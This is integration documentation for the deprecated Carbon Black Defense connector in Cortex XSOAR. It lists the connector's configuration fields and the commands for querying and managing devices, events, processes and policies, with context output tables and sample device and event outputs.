Carbon Black Defense Deprecated

Deprecated. Use Carbon Black Endpoint Standard instead.

Endpoint · Carbon Black Endpoint Standard

Details

ID	`Carbon Black Defense`
Provider	VMware
Category	Endpoint
From Version	5.0.0
Supported Modules	Agentix XSIAM

README

Overview

Use the VMware Carbon Black Endpoint Standard integration to manage Carbon Black policies, devices and processes on Cortex XSOAR.

Use cases

Get information about events, policies, devices, and processes on Carbon Black.
Update events, policies, devices, and processes on Carbon Black.
Delete rules from policies.
Create new policies.

Configure VMware Carbon Black Endpoint Standard on Cortex XSOAR

Navigate to Settings > Integrations > Servers & Services.
Search for VMware Carbon Black Endpoint Standard.
Click Add instance to create and configure a new integration.
- Name: a textual name for the integration instance.
- Server URL (example: https://192.168.0.1)
- API Key
- API Version
- Connector ID
- Fetch incidents
- Incident type
- SIEM key: Use to fetch incidents.
- SIEM Connector ID: Use to fetch incidents.
- Do not validate server certificate (not secure)
- Use system proxy settings
Click Test to validate the URLs, token, and connection.

Commands

Get the status of multiple devices: cbd-get-devices-status
Get the status of a specified device: cbd-get-device-status
Change the security policy assigned to a device: cbd-change-device-status
Get multiple events: cbd-find-events
Get a specified event: cbd-find-event
Get multiple processes: cbd-find-processes
Get alert details: cbd-get-alert-details
Get all policy details: cbd-get-policies
Get the details of a specified policy: cbd-get-policy
Create a policy: cbd-create-policy
Update a policy: cbd-update-policy
Delete a policy: cbd-delete-policy
Add a rule to a policy: cbd-add-rule-to-policy
Delete a rule from a policy: cbd-delete-rule-from-policy
Update a rule in a policy: cbd-update-rule-in-policy
Set a policy: cbd-set-policy

Get the status of multiple devices

Retrieves the status of multiple devices, as specified by further input.

Base Command

cbd-get-devices-status

Input

Parameter	Description	More Information
hostName	Host name of the device to search for.	Case insensitive
hostNameExact	Exact host name of device to search for	Case sensitive
ownerName	Device owner name	Case insensitive
ownerNameExact	Exact device owner name	Case sensitive
ipAddress	External or internal IP address of the device to search for	-
start	Shows result from this row and after	-
rows	Maximum number of rows of result.	This parameter can be limited on the Cb Defense server side

Context Output

Path	Description
CarbonBlackDefense.GetDevicesStatus.Results.ActivationCodeExpiryTime	Activation code expiry time
CarbonBlackDefense.GetDevicesStatus.Results.LastExternalIpAddress	Last external IP address
CarbonBlackDefense.GetDevicesStatus.Results.LastLocation	Last location
CarbonBlackDefense.GetDevicesStatus.Results.LastReportedTime	Last reported time
CarbonBlackDefense.GetDevicesStatus.Results.LastShutdownTime	Last shutdown time
CarbonBlackDefense.GetDevicesStatus.Results.OsVersion	Operating system version
CarbonBlackDefense.GetDevicesStatus.Results.PolicyId	Policy ID
CarbonBlackDefense.GetDevicesStatus.Results.RegisteredTime	Registered time
CarbonBlackDefense.GetDevicesStatus.Results.Status	Status
CarbonBlackDefense.GetDevicesStatus.Results.DeviceId	Device ID
CarbonBlackDefense.GetDevicesStatus.Results.DeviceOwnerId	Device owner ID
CarbonBlackDefense.GetDevicesStatus.Results.DeviceType Description	Device type
CarbonBlackDefense.GetDevicesStatus.Results.OrganizationId	Organization ID
CarbonBlackDefense.GetDevicesStatus.Results.SensorVersion	Sensor version
CarbonBlackDefense.GetDevicesStatus.Results.TargetPriorityType	Target priority type
CarbonBlackDefense.GetDevicesStatus.Results.Email	Email address
CarbonBlackDefense.GetDevicesStatus.Results.LastContact	Last contact
CarbonBlackDefense.GetDevicesStatus.Results.OrganizationName	Organization name
CarbonBlackDefense.GetDevicesStatus.Results.SensorStates	Sensor states
CarbonBlackDefense.GetDevicesStatus.Results.AvStatus	AV status
CarbonBlackDefense.GetDevicesStatus.Results.LastInternalIpAddress	Last internal IP address
CarbonBlackDefense.GetDevicesStatus.Results.Name	Name
CarbonBlackDefense.GetDevicesStatus.Results.PolicyName	Policy name
CarbonBlackDefense.GetDevicesStatus.Results.SensorOutOfDate	Sensor out-of-date
CarbonBlackDefense.GetDevicesStatus.Results.TestId	Test ID

Command Example

!cbd-get-devices-status rows="1"

Context Example

CarbonBlackDefense:{} 1 item
GetDevicesStatus:{} 1 item
Results:{} 25 items
ActivationCodeExpiryTime:1524157210454
AvStatus:null
LastContact:1533646970617
LastLocation:OFFSITE
Name:cberninger-mac2
LastExternalIpAddress:67.143.208.113
TestId:-1
PolicyId:6525
OrganizationId:1105
RegisteredTime:1523552410489
TargetPriorityType:MEDIUM
DeviceType:MAC
DeviceId:844355
Status:REGISTERED
OsVersion:MAC OS X 10.10.5
LastReportedTime:1533642023089
DeviceOwnerId:278380
LastShutdownTime:1533587921518
SensorOutOfDate:false
LastInternalIpAddress:192.168.2.125
SensorStates:[] 5 items
0:ACTIVE
1:LIVE_RESPONSE_NOT_RUNNING
2:LIVE_RESPONSE_NOT_KILLED
3:LIVE_RESPONSE_DISABLED
4:SECURITY_CENTER_OPTLN_DISABLED
Email:cberninger
PolicyName:default
OrganizationName:cb-internal-alliances.com
SensorVersion:3.0.2.8

Human Readable Output

ActivationCodeExpiryTime	1524157210454
AvStatus
DeviceId	844355
DeviceOwnerId	278380
DeviceType	MAC
Email	cberninger
LastContact	1533646970617
LastExternalIpAddress	67.143.208.113
LastInternalIpAddress	192.168.2.125
LastLocation	OFFSITE
LastReportedTime	1533642023089
LastShutdownTime	1533587921518
Name	cberninger-mac2
OrganizationId	1105
OrganizationName	cb-internal-alliances.com
OsVersion	MAC OS X 10.10.5
PolicyId	6525
PolicyName	default
RegisteredTime	1523552410489
SensorOutOfDate	false

Get the status of a specified device

Retrieves the status of a specified device.

Base Code

cbd-get-device-status

Input

Parameter	Description
deviceId	Individual device ID

Context Output

Path	Description
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.TargetPriorityType	Target priority type
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OrganizationId	Organization ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.CreateTime	Time of creation
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceId	Device ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Email	Email address
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastInternalIpAddress	Last internal IP address
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastLocation	Last location
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OsVersion	Operating system version
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.AvStatus	AV status
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastExternalIpAddress	Last external IP address
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RegisteredTime	Time of registration
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastContact	Last contact
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Status	Status
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.TestId	Test ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.PolicyId	Policy ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.UpdateVersion	Update version
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OrganizationName	Organization name
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RootedByAnalytics	Rooted ByAnalytics
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorVersion	Sensor version
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceType	Device type
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.PolicyName	Policy name
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RootedByAnalyticsTime	Rooted ByAnalytics Time
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorOutOfDate	Sensor out-of-date
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorStates	Sensor states
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Name	Name
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Id	ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastReportedTime	Last reported time
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceOwnerId	Device owner ID

Command Example

!cbd-get-device-status deviceId="844355"

Context Example

CarbonBlackDefense:{} 1 item
GetDeviceStatus:{} 1 item
DeviceInfo:{} 25 items
ActivationCodeExpiryTime:null
AvStatus:null
LastContact:1533648166041
LastLocation:OFFSITE
Name:cberninger-mac2
LastExternalIpAddress:67.143.208.113
TestId:-1
PolicyId:6525
OrganizationId:1105
RegisteredTime:1523552410489
TargetPriorityType:MEDIUM
DeviceType:MAC
DeviceId:844355
Status:REGISTERED
OsVersion:MAC OS X 10.10.5
LastReportedTime:1533642023089
DeviceOwnerId:278380
LastShutdownTime:1533587921518
SensorOutOfDate:false
LastInternalIpAddress:192.168.2.125
SensorStates:[] 5 items
0:ACTIVE
1:LIVE_RESPONSE_NOT_RUNNING
2:LIVE_RESPONSE_NOT_KILLED
3:LIVE_RESPONSE_DISABLED
4:SECURITY_CENTER_OPTLN_DISABLED
Email:cberninger
PolicyName:default
OrganizationName:cb-internal-alliances.com
SensorVersion:3.0.2.8

Human Readable Output

ActivationCodeExpiryTime
AvStatus
DeviceId	844355
DeviceOwnerId	278380
DeviceType	MAC
Email	cberninger
LastContact	1533648166041
LastExternalIpAddress	67.143.208.113
LastInternalIpAddress	192.168.2.125
LastLocation	OFFSITE
LastReportedTime	1533642023089
LastShutdownTime	1533587921518
Name	cberninger-mac2
OrganizationId	1105
OrganizationName	cb-internal-alliances.com
OsVersion	MAC OS X 10.10.5
PolicyId	6525
PolicyName	default
RegisteredTime	1523552410489
SensorOutOfDate	false

Change the security policy assigned to a device

Changes the security policy assigned to a specified device.

Base Command

cbd-change-device-status

Input

Parameter	Description
deviceId	The device ID
policyId	The policy ID
policyName	The policy name

Context Output

Path	Description
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.TargetPriorityType	Target priority type
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OrganizationId	Organization ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.CreateTime	Time of creation
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceId	Device ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Email	Email address
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastInternalIpAddress	Last internal IP address
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastLocation	Last location
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OsVersion	Operating system version
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.AvStatus	Anti-virus status
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastExternalIpAddress	Last external IP address
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RegisteredTime	Registration time
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastContact	Last contact
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Status	Status
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.TestId	Test ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.PolicyId	Policy ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.UpdateVersion	Update version
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OrganizationName	Organization name
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RootedByAnalytics	Rooted ByAnalytics
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorVersion	Sensor version
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceType	Device type
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.PolicyName	Policy name
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RootedByAnalyticsTime	Rooted ByAnalytics time
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorOutOfDate	Sensor out-of-date date
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorStates	Sensor states
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Name	Name
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Id	ID
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastReportedTime	Time of last report
CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceOwnerId	Device owner ID

Command Example

!cbd-change-device-status deviceId="844355" policyName="default"

Context Example

CarbonBlackDefense:{} 1 item
ChangeDeviceStatus:{} 1 item
DeviceInfo:{} 24 items
AvStatus:null
LastContact:1533648445513
LastLocation:OFFSITE
Name:cberninger-mac2
LastExternalIpAddress:67.143.208.113
TestId:-1
PolicyId:6525
OrganizationId:1105
RegisteredTime:1523552410489
TargetPriorityType:MEDIUM
DeviceType:MAC
DeviceId:844355
Status:REGISTERED
OsVersion:MAC OS X 10.10.5
LastReportedTime:1533642023089
DeviceOwnerId:278380
LastShutdownTime:1533587921518
SensorOutOfDate:false
LastInternalIpAddress:192.168.2.125
SensorStates:[] 5 items
0:ACTIVE
1:LIVE_RESPONSE_NOT_RUNNING
2:LIVE_RESPONSE_NOT_KILLED
3:LIVE_RESPONSE_DISABLED
4:SECURITY_CENTER_OPTLN_DISABLED
Email:cberninger
PolicyName:default
OrganizationName:cb-internal-alliances.com
SensorVersion:3.0.2.8

Human Readable Output

AvStatus
DeviceId	844355
DeviceOwnerId	278380
DeviceType	MAC
Email	cberninger
LastContact	1533648445513
LastExternalIpAddress	67.143.208.113
LastInternalIpAddress	192.168.2.125
LastLocation	OFFSITE
LastReportedTime	1533642023089
LastShutdownTime	1533587921518
Name	cberninger-mac2
OrganizationId	1105
OrganizationName	cb-internal-alliances.com
OsVersion	MAC OS X 10.10.5
PolicyId	6525
PolicyName	default
RegisteredTime	1523552410489
SensorOutOfDate	false
SensorStates	ACTIVE,LIVE_RESPONSE_NOT_RUNNING,LIVE_RESPONSE_NOT_KILLED,LIVE_RESPONSE_DISABLED,SECURITY_CENTER_OPTLN_DISABLED

Get multiple events

Returns multiple event details, as specified by further input.

Base Command

cbd-find-events

Input

Parameter	Description	More Information
hostName	The host name of the event to search for	Case insensitive.
hostNameExact	The exact host name of the event to find	Case sensitive.
ownerName	Owner name of the event to search for	Case insensitive.
ownerNameExact	The exact owner name of the event to search for	Case sensitive.
ipAddress	External or internal IP address	-
sha256hash	Searches for events generated by a process with this SHA-256 hash	Must be in lowercase.
applicationName	Searches for events generated by a process with this application name	Must be in lowercase.
eventType	Searches for events associated with this event type	-
searchWindow	Events generated within this time frame	Default is one day. Events might not be available after 30 days due to retention policies.
start	Shows result from this row and after	-
rows	Maximum number of rows of result	This parameter can be limited on the Cb Defense server side.

Context Output

Path	Description
CarbonBlackDefense.FindEvents.Results.EventType	Event type
CarbonBlackDefense.FindEvents.Results.ProcessDetails.MilisSinceProcessStart	Milliseconds since the beginning of the process
CarbonBlackDefense.FindEvents.Results.ProcessDetails.Name	Name
CarbonBlackDefense.FindEvents.Results.ProcessDetails.PrivatePid	Private PID
CarbonBlackDefense.FindEvents.Results.ProcessDetails.ProcessId	Process ID
CarbonBlackDefense.FindEvents.Results.ShortDescription	Short description
CarbonBlackDefense.FindEvents.Results.CreateTime	Time of creation
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceName	Device name
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceVersion	Device version
CarbonBlackDefense.FindEvents.Results.DeviceDetails.PolicyName	Policy name
CarbonBlackDefense.FindEvents.Results.DeviceDetails.TargetPriorityType	Target priority type
CarbonBlackDefense.FindEvents.Results.DeviceDetails.AgentLocation	Agent location
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceId	Device ID
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceIpV4Address	IpV4 address of the device
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.AreaCode	Area code
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.CountryCode	Country code
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.Latitude	Latitude
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.Longitude	Longitude
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.City	City
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.CountryName	Country name
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.DmaCode	DMA code
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.MetroCode	Metro code
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.PostalCode	Postal code
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.Region	Region
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceIpAddress	Device IP address
CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceType	Device type
CarbonBlackDefense.FindEvents.Results.DeviceDetails.Email	Email address
CarbonBlackDefense.FindEvents.Results.DeviceDetails.TargetPriorityCode	Target priority code
CarbonBlackDefense.FindEvents.Results.EventId	Event ID
CarbonBlackDefense.FindEvents.Results.EventTime	Event time
CarbonBlackDefense.FindEvents.Results.LongDescription	Long description
CarbonBlackDefense.FindEvents.Results.NetFlow.DestAddress	Dest address
CarbonBlackDefense.FindEvents.Results.NetFlow.DestPort	Dest port
CarbonBlackDefense.FindEvents.Results.NetFlow.PeerFqdn	Peer Fqdn
CarbonBlackDefense.FindEvents.Results.NetFlow.PeerIpAddress	Peer IP address
CarbonBlackDefense.FindEvents.Results.NetFlow.PeerIpV4Address	Peer IpV4 address
CarbonBlackDefense.FindEvents.Results.NetFlow.Service	Service
CarbonBlackDefense.FindEvents.Results.NetFlow.SourceAddress	Source address
CarbonBlackDefense.FindEvents.Results.NetFlow.SourcePort	Source port
CarbonBlackDefense.FindEvents.Results.SelectedApp.ApplicationName	Application name
CarbonBlackDefense.FindEvents.Results.SelectedApp.ApplicationPath	Application path
CarbonBlackDefense.FindEvents.Results.SelectedApp.Md5Hash	MD5 hash
CarbonBlackDefense.FindEvents.Results.SelectedApp.Sha256Hash	SHA-256 hash
CarbonBlackDefense.FindEvents.Results.ThreatIndicators	Threat indicators

Command Example

!cbd-find-events rows=1</p?

Context Example

CarbonBlackDefense:{} 1 item
FindEvents:{} 2 items
Results:{} 10 items
ShortDescription:The application "cloud-drive-ui" successfully closed a TCP/6690 connection to 192.168.2.22:6690 (192.168.2.22).
LongDescription:The application "/Users/cberninger/.CloudStation/CloudStation.app/Contents/MacOS/cloud-drive-ui" closed a TCP/6690 connection to 192.168.2.22:6690 (192.168.2.22) from 192.168.2.125:56001. There were 8169 Bytes Received and 2863 Bytes Sent in less than 1 second. The device was off the corporate network using the public address 67.143.208.113 (192.168.2.125, located in United States). The operation was successful.
SelectedApp:{} 7 items
ApplicationName:cloud-drive-ui
ApplicationPath:/Users/cberninger/.CloudStation/CloudStation.app/Contents/MacOS/cloud-drive-ui
EffectiveReputation:LOCAL_WHITE
EffectiveReputationSource:PRE_EXISTING
Md5Hash:b43632f807770d141008deb988a65ad9
ReputationProperty:NOT_LISTED
Sha256Hash:f649ce0c8d5ca63be86e00877632c6390af772eed86c07b3db5b818c30ab700b
EventTime:1533649991975
CreateTime:1533650036964
DeviceDetails:{} 12 items
DeviceName:cberninger-mac2
DeviceVersion:MAC OS X 10.10.5
TargetPriorityCode:1
DeviceLocation:{} 6 items
City:null
CountryCode:US
CountryName:United States
Latitude:37.751007
Longitude:-97.822
Region:null
TargetPriorityType:MEDIUM
DeviceType:MAC
DeviceId:844355
DeviceIpAddress:67.143.208.113
DeviceIpV4Address:67.143.208.113
AgentLocation:OFFSITE
Email:cberninger
PolicyName:default
TargetApp:{} 5 items
ApplicationName:null
EffectiveReputation:null
EffectiveReputationSource:null
ReputationProperty:null
Sha256Hash:null
ProcessDetails:{} 11 items
FullUserName:cberninger
PrivatePid:1071-1533502548722-245
ProcessId:1071
Name:cloud-drive-ui
TargetCommandLine:null
MilisSinceProcessStart:147443253
UserName:cberninger
TargetPrivatePid:null
TargetPid:null
TargetName:null
CommandLine:null
EventType:NETWORK
EventId:4ad25ae99a4911e88515b3c49ffeda59
TotalResults:{} 1 item
TotalResults:10666
Endpoint:{} 4 items
Domain:null
Hostname:cberninger-mac2
IPAddress:67.143.208.113
OS:MAC
Process:{} 9 items
Path:null
SHA1:null
ParentID:null
PID:1071
Name:cloud-drive-ui
Endpoint:null
ParentName:null
MD5:null
CommandLine:null

Human Readable

CreateTime	1533650036964
DeviceDetails AgentLocation	OFFSITE
DeviceDetails DeviceId	844355
DeviceDetails DeviceIpAddress	67.143.208.113
DeviceDetails DeviceIpV4Address	67.143.208.113
DeviceDetails DeviceLocation City
DeviceDetails DeviceLocation CountryCode	US
DeviceDetails DeviceLocation CountryName	United States
DeviceDetails DeviceLocation Latitude	37.751007
DeviceDetails DeviceLocation Longitude	-97.822
DeviceDetails DeviceLocation Region
DeviceDetails DeviceName	cberninger-mac2
DeviceDetails DeviceType	MAC
DeviceDetails DeviceVersion	MAC OS X 10.10.5
DeviceDetails Email	cberninger
DeviceDetails PolicyName	default
DeviceDetails TargetPriorityCode	1
DeviceDetails TargetPriorityType	MEDIUM
EventId	4ad25ae99a4911e88515b3c49ffeda59
EventTime	1533649991975

Get a specified event

Returns a the details of a specified event.

Base Command

cbd-find-event

Input

Parameter	Description
eventId	Event ID

Context Output

Path	Description
CarbonBlackDefense.GetAlertDetails.EventInfo.ShortDescription	Short description
CarbonBlackDefense.GetAlertDetails.EventInfo.TargetHash.ApplicationName	Application name
CarbonBlackDefense.GetAlertDetails.EventInfo.TargetHash.ReputationProperty	Reputation property
CarbonBlackDefense.GetAlertDetails.EventInfo.TargetHash.Sha256Hash	SHA-256 hash
CarbonBlackDefense.GetAlertDetails.EventInfo.EventType	Event type
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.Md5Hash	MD5 hash
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.Sha256Hash	SHA-256 hash
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.ApplicationPath	Application path
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.ReputationProperty	Reputation property
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.ApplicationName	Application name
CarbonBlackDefense.GetAlertDetails.EventInfo.OrgDetails.OrganizationId	Organization ID
CarbonBlackDefense.GetAlertDetails.EventInfo.OrgDetails.OrganizationName	Organization name
CarbonBlackDefense.GetAlertDetails.EventInfo.OrgDetails.OrganizationType	Organization type
CarbonBlackDefense.GetAlertDetails.EventInfo.ParentHash.ApplicationName	Application name
CarbonBlackDefense.GetAlertDetails.EventInfo.ParentHash.Sha256Hash	SHA-256 hash
CarbonBlackDefense.GetAlertDetails.EventInfo.EventId	Event ID
CarbonBlackDefense.GetAlertDetails.EventInfo.LongDescription	Long description
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceIpV4Address	Device IpV4 address
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceType	Device type
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.Email	Email address
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.TargetPriorityCode	Target priority code
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.AgentLocation	Agent location path
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceHostName	Device host name
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceId	Device ID
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.GroupName	Group name
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceVersion	Device version
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.TargetPriorityType	Target priority type
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceIpAddress	Device IP address
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.Latitude	Latitude
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.City	City
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.CountryCode	Country code
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.DmaCode	DMA code
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.Longitude	Longitude
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.MetroCode	Metro code
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.PostalCode	Postal code
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.Region	Region
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.AreaCode	Area code
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.CountryName	Country name
CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceName	Device name
CarbonBlackDefense.GetAlertDetails.EventInfo.CreateTime	Time of creation
CarbonBlackDefense.GetAlertDetails.EventInfo.EventTime	Event time
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.FullUserName	Full user name
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.Name	Name
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ParentCommandLine	Parent command line
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ParentName	Parent name
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ParentPid	Parent PID
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ProcessId	Process ID
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.CommandLine	Command line
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.MilisSinceProcessStart	Milisecconds since process start
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.TargetCommandLine	Target command line
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.TargetPid	Target PID
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.UserName	User name
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ParentPrivatePid	Parent private PID
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.PrivatePid	Private PID
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.TargetName	Target name
CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.TargetPrivatePid	Target private PID
CarbonBlackDefense.GetAlertDetails.EventInfo.ThreatIndicators	Threat indicators

Command Example

!cbd-find-event eventId="4ad25ae99a4911e88515b3c49ffeda59"

Context Example

CarbonBlackDefense:{} 1 item
FindEvent:{} 1 item
EventInfo:{} 13 items
ShortDescription:The application "cloud-drive-ui" successfully closed a TCP/6690 connection to 192.168.2.22:6690 (192.168.2.22).
LongDescription:The application "/Users/cberninger/.CloudStation/CloudStation.app/Contents/MacOS/cloud-drive-ui" closed a TCP/6690 connection to 192.168.2.22:6690 (192.168.2.22) from 192.168.2.125:56001. There were 8169 Bytes Received and 2863 Bytes Sent in less than 1 second. The device was off the corporate network using the public address 67.143.208.113 (192.168.2.125, located in United States). The operation was successful.
EventTime:1533649991975
CreateTime:1533650036964
DeviceDetails:{} 13 items
DeviceName:cberninger-mac2
DeviceVersion:MAC OS X 10.10.5
TargetPriorityCode:1
DeviceHostName:null
GroupName:null
DeviceLocation:{} 10 items
CountryName:United States
CountryCode:US
DmaCode:0
MetroCode:0
City:null
Latitude:37.751007
Longitude:-97.822
Region:null
PostalCode:null
AreaCode:0
TargetPriorityType:MEDIUM
DeviceType:MAC
DeviceId:844355
DeviceIpAddress:67.143.208.113
DeviceIpV4Address:67.143.208.113
AgentLocation:OFFSITE
Email:cberninger
ProcessDetails:{} 15 items
ParentPid:null
FullUserName:cberninger
PrivatePid:1071-1533502548722-245
ProcessId:1071
Name:cloud-drive-ui
TargetCommandLine:null
ParentPrivatePid:null
MilisSinceProcessStart:147443253
ParentName:null
ParentCommandLine:null
UserName:cberninger
TargetPrivatePid:null
TargetPid:null
TargetName:null
CommandLine:null
EventType:NETWORK
EventId:4ad25ae99a4911e88515b3c49ffeda59
ParentHash:{} 2 items
ApplicationName:null
Sha256Hash:null
ProcessHash:{} 5 items
ApplicationName:null
ApplicationPath:null
Md5Hash:null
ReputationProperty:null
Sha256Hash:null
ThreatIndicators:[] 2 items
0:UNKNOWN_APP
1:NETWORK_FLOW
OrgDetails:{} 3 items
OrganizationId:null
OrganizationName:null
OrganizationType:null
TargetHash:{} 3 items
ApplicationName:null
ReputationProperty:null
Sha256Hash:null

Human Readable Output

CreateTime	1533650036964
DeviceDetails AgentLocation	OFFSITE
DeviceDetails DeviceHostName
DeviceDetails DeviceId	844355
DeviceDetails DeviceIpAddress	67.143.208.113
DeviceDetails DeviceIpV4Address	67.143.208.113
DeviceDetails DeviceLocation AreaCode	0
DeviceDetails DeviceLocation City
DeviceDetails DeviceLocation CountryCode	US
DeviceDetails DeviceLocation CountryName	United States
DeviceDetails DeviceLocation DmaCode	0
DeviceDetails DeviceLocation Latitude	37.751007
DeviceDetails DeviceLocation Longitude	-97.822
DeviceDetails DeviceLocation MetroCode	0
DeviceDetails DeviceLocation PostalCode
DeviceDetails DeviceLocation Region
DeviceDetails DeviceName	cberninger-mac2
DeviceDetails DeviceType	MAC
DeviceDetails DeviceVersion	MAC OS X 10.10.5
DeviceDetails Email	cberninger

Get multiple processes

Returns the details of multiple process, as specified by further input.

Base Command

cbd-find-processes

Input

Parameter	Description	More Information
hostNameExact	The exact hostname.	Case sensitive.
ownerName	Case insensitive owner name.	Case insensitive.
ownerNameExact	Exact owner name	Case sensitive.
ipAddress	External or internal IP address	-
searchWindow	Events generated within a given time frame	Default is one day. Events may not be available after 30 days due to retention policies.
start	Shows result from this row and after	-
rows	Maximum number of rows of result	This parameter can be limited on the Cb Defense server side.

Context Output

Path	Description
CarbonBlackDefense.GetProcesses.ApplicationName	Application name
CarbonBlackDefense.GetProcesses.ProcessId	Process ID
CarbonBlackDefense.GetProcesses.NumEvents	Number of events
